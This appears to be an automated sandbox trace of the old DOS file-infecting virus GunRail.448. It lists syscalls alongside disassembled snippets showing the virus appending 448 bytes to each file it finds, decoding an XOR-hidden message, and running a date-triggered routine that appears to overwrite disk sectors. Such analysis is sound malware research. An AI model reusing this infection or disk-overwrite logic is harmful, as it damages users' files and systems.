Sample viewer

vx.netlux.org/Virus.DOS.VCL.GunRail.448

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:09:54.781219553Z 26 PC: 12a5d | Set disk transfer address
2018-12-17T23:09:54.782797289Z 53 PC: 12a63 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T23:09:54.784199916Z 53 PC: 12a70 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T23:09:54.785241257Z 44 PC: 12a7b | Get time 0x12a7b: cmp dl, 0xd
0x12a7e: jg 0x12a84
0x12a80: mov al, 0x82
0x12a82: out 0x21, al
0x12a84: mov ah, 0x2c
0x12a86: int 0x21
0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12ae7
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12ae7
2018-12-17T23:09:54.788000729Z 44 PC: 12a88 | Get time 0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12ae7
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12ae7
0x12aab: nop
0x12aac: and byte ptr [bp + si + 0x75], al
0x12aaf: jb 0x12b1f
0x12ab1: inc bx
0x12ab2: jns 0x12b17
0x12ab4: insb byte ptr es:[di], dx
2018-12-17T23:09:54.790808943Z 78 PC: 12b00 | Find first file
2018-12-17T23:09:54.797096134Z 61 PC: 12b10 | Open file (Filename = '')
2018-12-17T23:09:54.805506494Z 63 PC: 12b1e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:54.811579552Z 66 PC: 12b2d | Move file pointer
2018-12-17T23:09:54.812854951Z 64 PC: 12b3f | Write file or device (Write 448 bytes on handle 5)
2018-12-17T23:09:55.652297771Z 66 PC: 12b47 | Move file pointer
2018-12-17T23:09:55.655158536Z 64 PC: 12b52 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:09:55.66200012Z 62 PC: 12b5b | Close file
2018-12-17T23:09:55.671038988Z 79 PC: 12b00 | Find next file
2018-12-17T23:09:55.674115301Z 61 PC: 12b10 | Open file (Filename = '')
2018-12-17T23:09:55.680765606Z 63 PC: 12b1e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:55.687174715Z 66 PC: 12b2d | Move file pointer
2018-12-17T23:09:55.689397118Z 64 PC: 12b3f | Write file or device (Write 448 bytes on handle 5)
2018-12-17T23:09:55.692475724Z 66 PC: 12b47 | Move file pointer
2018-12-17T23:09:55.694239049Z 64 PC: 12b52 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:09:55.697637754Z 62 PC: 12b5b | Close file
2018-12-17T23:09:55.705494281Z 79 PC: 12b00 | Find next file
2018-12-17T23:09:55.708433375Z 61 PC: 12b10 | Open file (Filename = '')
2018-12-17T23:09:55.716173555Z 63 PC: 12b1e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:55.722804834Z 66 PC: 12b2d | Move file pointer
2018-12-17T23:09:55.724146476Z 64 PC: 12b3f | Write file or device (Write 448 bytes on handle 5)
2018-12-17T23:09:55.742970418Z 66 PC: 12b47 | Move file pointer
2018-12-17T23:09:55.744967032Z 64 PC: 12b52 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:09:55.751548173Z 62 PC: 12b5b | Close file
2018-12-17T23:09:55.760645212Z 79 PC: 12b00 | Find next file
2018-12-17T23:09:55.763637412Z 61 PC: 12b10 | Open file (Filename = '')
2018-12-17T23:09:55.769946741Z 63 PC: 12b1e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:55.776297061Z 66 PC: 12b2d | Move file pointer
2018-12-17T23:09:55.778621873Z 64 PC: 12b3f | Write file or device (Write 448 bytes on handle 5)
2018-12-17T23:09:55.781178841Z 66 PC: 12b47 | Move file pointer
2018-12-17T23:09:55.782630516Z 64 PC: 12b52 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:09:55.78950606Z 62 PC: 12b5b | Close file
2018-12-17T23:09:55.797354784Z 79 PC: 12b00 | Find next file
2018-12-17T23:09:55.800240273Z 61 PC: 12b10 | Open file (Filename = '')
2018-12-17T23:09:55.807386485Z 63 PC: 12b1e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:55.813825884Z 66 PC: 12b2d | Move file pointer
2018-12-17T23:09:55.815698165Z 64 PC: 12b3f | Write file or device (Write 448 bytes on handle 5)
2018-12-17T23:09:55.818966318Z 66 PC: 12b47 | Move file pointer
2018-12-17T23:09:55.82049712Z 64 PC: 12b52 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:09:55.82305812Z 62 PC: 12b5b | Close file
2018-12-17T23:09:55.831081792Z 42 PC: 12b70 | Get date 0x12b70: cmp dh, 0x11
0x12b73: jl 0x12b94
0x12b75: cmp dl, 8
0x12b78: jl 0x12b94
0x12b7a: mov ah, 0x19
0x12b7c: int 0x21
0x12b7e: mov cx, 0x25
0x12b81: mov dx, 0
0x12b84: lea bx, word ptr [bp + 0x16c]
0x12b88: push ds
0x12b89: pop es
0x12b8a: mov byte ptr [bp + 0x250], 0x26
0x12b8f: int 0x19
0x12b91: add sp, 2
0x12b94: mov ah, 0x1a
0x12b96: mov dx, 0x80
0x12b99: int 0x21
0x12b9b: call 0x12b9e
0x12b9e: call 0x12ba1
0x12ba1: call 0x12ba4
2018-12-17T23:09:55.833276874Z 26 PC: 12b9b | Set disk transfer address
2018-12-17T23:09:55.834369703Z 9 PC: 12bbb | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T23:09:55.846990354Z 26 PC: 12a5d | Set disk transfer address
2018-12-17T23:09:55.848016453Z 53 PC: 12a63 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T23:09:55.849048113Z 53 PC: 12a70 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T23:09:55.858301136Z 44 PC: 12a7b | Get time 0x12a7b: cmp dl, 0xd
0x12a7e: jg 0x12a84
0x12a80: mov al, 0x82
0x12a82: out 0x21, al
0x12a84: mov ah, 0x2c
0x12a86: int 0x21
0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12ae7
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12ae7
2018-12-17T23:09:55.860886957Z 44 PC: 12a88 | Get time 0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12ae7
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12ae7
0x12aab: nop
0x12aac: and byte ptr [bp + si + 0x75], al
0x12aaf: jb 0x12b1f
0x12ab1: inc bx
0x12ab2: jns 0x12b17
0x12ab4: insb byte ptr es:[di], dx
2018-12-17T23:09:55.863847038Z 78 PC: 12b00 | Find first file
2018-12-17T23:09:55.870944392Z 61 PC: 12b10 | Open file (Filename = '')
2018-12-17T23:09:55.877465844Z 63 PC: 12b1e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:55.88010309Z 62 PC: 12b5b | Close file
2018-12-17T23:09:55.882894952Z 79 PC: 12b00 | Find next file
2018-12-17T23:09:55.88590519Z 61 PC: 12b10 | Open file (Filename = '')
2018-12-17T23:09:55.892658478Z 63 PC: 12b1e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:55.896625741Z 62 PC: 12b5b | Close file
2018-12-17T23:09:55.899035136Z 79 PC: 12b00 | Find next file
2018-12-17T23:09:55.90190328Z 61 PC: 12b10 | Open file (Filename = '')
2018-12-17T23:09:55.909179546Z 63 PC: 12b1e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:55.911698558Z 62 PC: 12b5b | Close file
2018-12-17T23:09:55.913362861Z 79 PC: 12b00 | Find next file
2018-12-17T23:09:55.919182878Z 61 PC: 12b10 | Open file (Filename = '')
2018-12-17T23:09:55.92557881Z 63 PC: 12b1e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:55.928085026Z 62 PC: 12b5b | Close file
2018-12-17T23:09:55.930942135Z 79 PC: 12b00 | Find next file
2018-12-17T23:09:55.933798316Z 61 PC: 12b10 | Open file (Filename = '')
2018-12-17T23:09:55.941636039Z 63 PC: 12b1e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:55.944955647Z 62 PC: 12b5b | Close file
2018-12-17T23:09:55.94653177Z 79 PC: 12b00 | Find next file
2018-12-17T23:09:55.948921661Z 61 PC: 12b10 | Open file (Filename = '')
2018-12-17T23:09:55.955494713Z 63 PC: 12b1e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:55.962358631Z 66 PC: 12b2d | Move file pointer
2018-12-17T23:09:55.964164263Z 64 PC: 12b3f | Write file or device (Write 448 bytes on handle 5)
2018-12-17T23:09:55.972971904Z 66 PC: 12b47 | Move file pointer
2018-12-17T23:09:55.974375183Z 64 PC: 12b52 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:09:55.980687421Z 62 PC: 12b5b | Close file
2018-12-17T23:09:55.989464608Z 79 PC: 12b00 | Find next file
2018-12-17T23:09:55.991889701Z 61 PC: 12b10 | Open file (Filename = '')
2018-12-17T23:09:55.998105626Z 63 PC: 12b1e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:56.004782948Z 66 PC: 12b2d | Move file pointer
2018-12-17T23:09:56.006351237Z 64 PC: 12b3f | Write file or device (Write 448 bytes on handle 5)
2018-12-17T23:09:56.009153221Z 66 PC: 12b47 | Move file pointer
2018-12-17T23:09:56.010947667Z 64 PC: 12b52 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:09:56.013293767Z 62 PC: 12b5b | Close file
2018-12-17T23:09:56.02045958Z 79 PC: 12b00 | Find next file
2018-12-17T23:09:56.023113571Z 61 PC: 12b10 | Open file (Filename = '')
2018-12-17T23:09:56.029220823Z 63 PC: 12b1e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:56.031590128Z 66 PC: 12b2d | Move file pointer
2018-12-17T23:09:56.033375232Z 64 PC: 12b3f | Write file or device (Write 448 bytes on handle 5)
2018-12-17T23:09:56.236039597Z 66 PC: 12b47 | Move file pointer
2018-12-17T23:09:56.237066658Z 64 PC: 12b52 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:09:56.24150041Z 62 PC: 12b5b | Close file
2018-12-17T23:09:56.354391771Z 79 PC: 12b00 | Find next file
2018-12-17T23:09:56.357743004Z 59 PC: 12b68 | Change current directory
2018-12-17T23:09:56.363600184Z 42 PC: 12b70 | Get date 0x12b70: cmp dh, 0x11
0x12b73: jl 0x12b94
0x12b75: cmp dl, 8
0x12b78: jl 0x12b94
0x12b7a: mov ah, 0x19
0x12b7c: int 0x21
0x12b7e: mov cx, 0x25
0x12b81: mov dx, 0
0x12b84: lea bx, word ptr [bp + 0x16c]
0x12b88: push ds
0x12b89: pop es
0x12b8a: mov byte ptr [bp + 0x250], 0x26
0x12b8f: int 0x19
0x12b91: add sp, 2
0x12b94: mov ah, 0x1a
0x12b96: mov dx, 0x80
0x12b99: int 0x21
0x12b9b: call 0x12b9e
0x12b9e: call 0x12ba1
0x12ba1: call 0x12ba4
2018-12-17T23:09:56.36635706Z 26 PC: 12b9b | Set disk transfer address
2018-12-17T23:09:56.367848717Z 9 PC: 12bbb | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T23:09:56.381840564Z 26 PC: 12a5d | Set disk transfer address
2018-12-17T23:09:56.383776038Z 53 PC: 12a63 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T23:09:56.384880424Z 53 PC: 12a70 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T23:09:56.386218071Z 44 PC: 12a7b | Get time 0x12a7b: cmp dl, 0xd
0x12a7e: jg 0x12a84
0x12a80: mov al, 0x82
0x12a82: out 0x21, al
0x12a84: mov ah, 0x2c
0x12a86: int 0x21
0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12ae7
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12ae7
2018-12-17T23:09:56.388749721Z 44 PC: 12a88 | Get time 0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12ae7
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12ae7
0x12aab: nop
0x12aac: and byte ptr [bp + si + 0x75], al
0x12aaf: jb 0x12b1f
0x12ab1: inc bx
0x12ab2: jns 0x12b17
0x12ab4: insb byte ptr es:[di], dx
2018-12-17T23:09:56.390865833Z 78 PC: 12b00 | Find first file
2018-12-17T23:09:56.396775176Z 61 PC: 12b10 | Open file (Filename = '')
2018-12-17T23:09:56.403304897Z 63 PC: 12b1e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:56.40581355Z 62 PC: 12b5b | Close file
2018-12-17T23:09:56.407918533Z 79 PC: 12b00 | Find next file
2018-12-17T23:09:56.410854212Z 61 PC: 12b10 | Open file (Filename = '')
2018-12-17T23:09:56.417090816Z 63 PC: 12b1e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:56.418966898Z 62 PC: 12b5b | Close file
2018-12-17T23:09:56.420730539Z 79 PC: 12b00 | Find next file
2018-12-17T23:09:56.423262957Z 61 PC: 12b10 | Open file (Filename = '')
2018-12-17T23:09:56.429691448Z 63 PC: 12b1e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:56.432416327Z 62 PC: 12b5b | Close file
2018-12-17T23:09:56.43399102Z 79 PC: 12b00 | Find next file
2018-12-17T23:09:56.436645219Z 61 PC: 12b10 | Open file (Filename = '')
2018-12-17T23:09:56.443223666Z 63 PC: 12b1e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:56.446616887Z 62 PC: 12b5b | Close file
2018-12-17T23:09:56.448307247Z 79 PC: 12b00 | Find next file
2018-12-17T23:09:56.450996004Z 61 PC: 12b10 | Open file (Filename = '')
2018-12-17T23:09:56.457237109Z 63 PC: 12b1e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:56.459716594Z 62 PC: 12b5b | Close file
2018-12-17T23:09:56.461335276Z 79 PC: 12b00 | Find next file
2018-12-17T23:09:56.463692577Z 61 PC: 12b10 | Open file (Filename = '')
2018-12-17T23:09:56.470254042Z 63 PC: 12b1e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:56.473242213Z 62 PC: 12b5b | Close file
2018-12-17T23:09:56.475093869Z 79 PC: 12b00 | Find next file
2018-12-17T23:09:56.477982657Z 61 PC: 12b10 | Open file (Filename = '')
2018-12-17T23:09:56.4852439Z 63 PC: 12b1e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:56.487839265Z 62 PC: 12b5b | Close file
2018-12-17T23:09:56.489725725Z 79 PC: 12b00 | Find next file
2018-12-17T23:09:56.494837245Z 61 PC: 12b10 | Open file (Filename = '')
2018-12-17T23:09:56.501234285Z 63 PC: 12b1e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:56.50382012Z 62 PC: 12b5b | Close file
2018-12-17T23:09:56.506952686Z 79 PC: 12b00 | Find next file
2018-12-17T23:09:56.509453371Z 59 PC: 12b68 | Change current directory
2018-12-17T23:09:56.513574648Z 42 PC: 12b70 | Get date 0x12b70: cmp dh, 0x11
0x12b73: jl 0x12b94
0x12b75: cmp dl, 8
0x12b78: jl 0x12b94
0x12b7a: mov ah, 0x19
0x12b7c: int 0x21
0x12b7e: mov cx, 0x25
0x12b81: mov dx, 0
0x12b84: lea bx, word ptr [bp + 0x16c]
0x12b88: push ds
0x12b89: pop es
0x12b8a: mov byte ptr [bp + 0x250], 0x26
0x12b8f: int 0x19
0x12b91: add sp, 2
0x12b94: mov ah, 0x1a
0x12b96: mov dx, 0x80
0x12b99: int 0x21
0x12b9b: call 0x12b9e
0x12b9e: call 0x12ba1
0x12ba1: call 0x12ba4
2018-12-17T23:09:56.517466659Z 26 PC: 12b9b | Set disk transfer address
2018-12-17T23:09:56.518823099Z 9 PC: 12bbb | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T23:09:56.530615032Z 26 PC: 12a5d | Set disk transfer address
2018-12-17T23:09:56.533264634Z 53 PC: 12a63 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T23:09:56.534718553Z 53 PC: 12a70 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T23:09:56.53611997Z 44 PC: 12a7b | Get time 0x12a7b: cmp dl, 0xd
0x12a7e: jg 0x12a84
0x12a80: mov al, 0x82
0x12a82: out 0x21, al
0x12a84: mov ah, 0x2c
0x12a86: int 0x21
0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12ae7
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12ae7
2018-12-17T23:09:56.540215656Z 44 PC: 12a88 | Get time 0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12ae7
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12ae7
0x12aab: nop
0x12aac: and byte ptr [bp + si + 0x75], al
0x12aaf: jb 0x12b1f
0x12ab1: inc bx
0x12ab2: jns 0x12b17
0x12ab4: insb byte ptr es:[di], dx
2018-12-17T23:09:56.542828238Z 9 PC: 12aa5 | Display string (Could not find end pointer)